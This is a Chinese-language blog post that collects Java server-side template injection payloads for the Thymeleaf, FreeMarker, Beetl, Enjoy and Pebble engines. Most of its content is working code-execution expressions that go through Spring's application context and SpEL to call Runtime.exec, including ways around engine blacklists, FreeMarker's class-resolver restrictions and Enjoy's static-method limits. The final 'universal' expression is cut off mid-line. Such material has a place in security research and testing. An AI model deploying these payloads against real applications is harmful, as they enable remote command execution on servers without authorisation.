JAVA SSTI

Fc04dB Lv4

# JAVA SSTI

# Thymeleaf SSTI

Thymeleaf 是 SpringBoot 中的一个模版引擎,类似于 python 的 jinja2,负责渲染前端页面。

# Thymeleaf 表达式

  • 变量表达式: ${...}
  • 选择变量表达式: *{...}
  • 消息表达: #{...}
  • 链接 URL 表达式: @{...}
  • 片段表达式: ~{...}

# 预处理

语法: __${expression}__

官方文档对其的解释:

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如 __${expression}__ )包围。

预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的 payload 即可达到任意代码执行

# payload 汇总

# thymeleaf

下面的 payload 基本都是换汤不换药

< v3.2.1 版本

payload:

1
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

其他

1
2
3
[[${springMacroRequestContext.webApplicationContext.getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(''.getClass.forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${springMacroRequestContext.webApplicationContext.getBean('jacksonObjectMapper').readValue("{}",springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

排列组合下一大堆

v3.2.1 版本(这个版本黑名单添加了一大堆, RequestContext 被拉进了黑名单,但还是存在绕过方法)

1
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].beanFactory.createBean(#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

其他

1
2
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

# freemarker

freemarker 相关 SSTI 的 payload 最简单的可能就是

1
${"freemarker.template.utility.Execute"?new()("calc")}

2.3.17 版本以后,官方版本提供了三种 TemplateClassResolver 对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor 这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过 freemarker.core.Configurable#setNewBuiltinClassResolver 方法设置 TemplateClassResolver ,从而限制通过 new() 函数对 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor 这三个类的解析。

image-20240215135600310

(设置不能解析任何类)

下面的 payload 可以在其设置了 ALLOWS_NOTHING_RESOLVER 之后依然可以 RCE,其原理就是利用 springMacroRequestContext.webApplicationContext 来获取到 freeMarkerConfiguration 这个 bean,从而修改其安全配置来达到绕过的效果

(v2.3.32)

1
2
${springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').setNewBuiltinClassResolver(springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').getDefaultConfiguration().getNewBuiltinClassResolver())}
${"freemarker.template.utility.Execute"?new()("calc")}

# beetl

其默认的安全策略如下 (3.15.14 版本)

image-20240215145334250

显然很容易绕过,方法有很多了

例如

1
${ @java.beans.Beans.instantiate(null,"org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()").getValue()}

下面是是用 springMacroRequestContext.webApplicationContext ,不用静态方法去实现 RCE

payload:

1
2
3
4
5
6
<%
var beanFactory = springMacroRequestContext.webApplicationContext.beanFactory;
var cl = springMacroRequestContext.webApplicationContext.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@beanFactory.createBean(clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>

其他

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
var applicationContext = springMacroRequestContext.webApplicationContext;
var cachingMetadataReaderFactory = @applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory');
var cl = cachingMetadataReaderFactory.resourceLoader.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>
<%
var applicationContext = springMacroRequestContext.webApplicationContext;
var cl = applicationContext.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>

方法很多了,不一一列举了

当然也可以结合其内置方法或其它静态方法去实现,方法很多,其他的就师傅们自己探索了,官方文档:https://www.kancloud.cn/xiandafu/beetl3_guide

# Enjoy

enjoy 有自己的黑名单,其限制

image-20240215203710612

image-20240215203722990

在 jdk17 下我们可以使用 jshell 来 rce

payload

1
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));'))

其他模板引擎像 thymeleaf 这种默认是可以调用 java 静态方法的,但参考 enjoy 模板引擎官方文档可以发现自 jfinal 5.0.2 开始其默认是不开启静态属性访问和静态方法调用的 https://jfinal.com/doc/6-3

image-20240215202346185

那我们完全可以使用 springMacroRequestContext.webApplicationContext 来获取 jfinalViewResolver 这个 bean 来修改其配置,使其支持静态方法访问和调用

因为渲染执行顺序问题,先对所有的调用进行检查之后才执行,所以开启静态方法执行和调用 jshell 的 payload 要分开打

开启静态方法执行

1
#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))

之后用 jshell 执行命令 (jdk>=17)

1
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));'))

当然,我们也可以使用下面的 payload,还是利用 ApplicationContext 来绕过限制,这个是没有调用静态方法实现

payload:

1
2
#set(applicationContext = springMacroRequestContext.webApplicationContext)
#(applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())

其他

1
2
3
4
5
6
7
#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(cachingMetadataReaderFactory = applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory'))
#set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
#(applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())
#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(clazz = applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
#(applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())

# pebble

黑名单限制如下

image-20240215215210637

还是用同样的方法也能绕

payload:

1
2
{% set applicationContext = springMacroRequestContext.webApplicationContext %}
{{applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

其他

1
2
3
{% set applicationContext = springMacroRequestContext.webApplicationContext %}
{% set clazz = applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{{applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

利用其内置的 beans 属性进行替换也是可以的

1
2
3
{% set cachingMetadataReaderFactory = beans.get('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory') %}
{% set clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{{beans.get("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

image-20240215215309597

# 总结

感觉比较万能的 payload 还是利用 beanFactory 中的 createBean 方法和获取的 ClassLoader 来实例化 org.springframework.expression.spel.standard.SpelExpressionParser 去执行 SpEl 表达式 RCE,这些都是 spring 默认自带的

我们利用 context = springMacroRequestContext.webApplicationContext 获取到应用程序上下文后,只需要执行下面的表达式就能够 RCE

1
context.beanFactory.createBean(context.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).p

探索 spring 下 SSTI 通用方法 (pankas.top)

  • Title: JAVA SSTI
  • Author: Fc04dB
  • Created at : 2024-10-18 22:46:18
  • Updated at : 2024-10-19 22:34:40
  • Link: https://redefine.ohevan.com/2024/10/18/JAVA-SSTI/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments